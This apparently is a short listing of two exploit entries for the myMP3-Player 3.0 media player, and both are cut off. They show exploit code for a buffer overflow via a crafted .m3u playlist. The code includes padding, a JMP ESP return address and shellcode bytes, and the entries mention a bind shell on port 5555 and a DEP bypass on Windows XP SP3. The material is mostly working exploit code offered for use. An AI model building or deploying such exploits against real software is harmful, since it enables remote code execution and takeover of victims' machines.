myMP3-Player-3.0

Exploit Title: myMP3-Player 3.0 NOT SEH Overwrite Date: 882010 Author: Oh Yaw Theng Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html filename = "crash.m3u" junk = "\x41" 1024 ret = "\x65\x82\xA5\x7C" 7C A5 82 65 FFE4 JMP ESP Bind shell at TCP Port 5555 Telnet to this port...

MY-MP3-Player-3.0-m3u

written to bypass OptIn/OptOut DEP policy tested on windows xp sp3 running in virtualbox import sys calc.exe - 1014 bytes of space for shellcode shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...